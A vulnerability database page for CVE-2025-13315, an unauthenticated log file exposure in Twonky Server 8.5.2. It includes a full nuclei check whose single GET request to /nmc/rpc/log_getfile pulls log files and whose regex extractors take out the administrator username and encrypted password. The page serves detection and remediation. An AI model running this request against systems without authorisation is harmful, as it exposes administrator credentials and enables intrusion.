Browse / CVEs / CVE-2025-13315
CVE-2025-13315
Twonky Server 8.5.2 on Linux and Windows - Log File Exposure
criticalseverity
31.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication
Impact
Unauthenticated attackers can read sensitive log files containing administrator usernames and encrypted passwords.
Fix
Restrict access to the Twonky Server web service API or implement network segmentation as the vendor has not released a fix.
How to confirm it
Send: GET {{BaseURL}}/nmc/rpc/log_getfile
Positive when: status_code == 200 and contains_all(body,"server_main_impl","LOG_SYSTEM:","upnp_ini_file")Run it with nuclei: nuclei -id CVE-2025-13315 -u <target>
The full check
id: CVE-2025-13315
info:
name: Twonky Server 8.5.2 on Linux and Windows - Log File Exposure
author: pussycat0x
severity: critical
description: |
Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication
remediation: |
Restrict access to the Twonky Server web service API or implement network segmentation as the vendor has not released a fix.
impact: |
Unauthenticated attackers can read sensitive log files containing administrator usernames and encrypted passwords.
reference:
- https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed/
metadata:
verified: true
zoomeye-query: app="Twonky Server"
tags: cve,cve2025,twonky,server,exposure,unauth,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/nmc/rpc/log_getfile"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body,"server_main_impl","LOG_SYSTEM:","upnp_ini_file")'
condition: and
extractors:
- type: regex
name: username
group: 1
part: body
regex:
- 'accessuser =([ a-zA-Z0-9]+)'
internal: true
- type: regex
name: password
part: body
group: 1
regex:
- 'accesspwd =([ :a-zA-Z0-9]+)'
internal: true
- type: dsl
dsl:
- '"Username :"+ trim(username, "[ ]")'
- '"EncryptedPassword :"+ trim(password, "[ ]")'References
Use this check only on systems you are authorised to test. Where the data comes from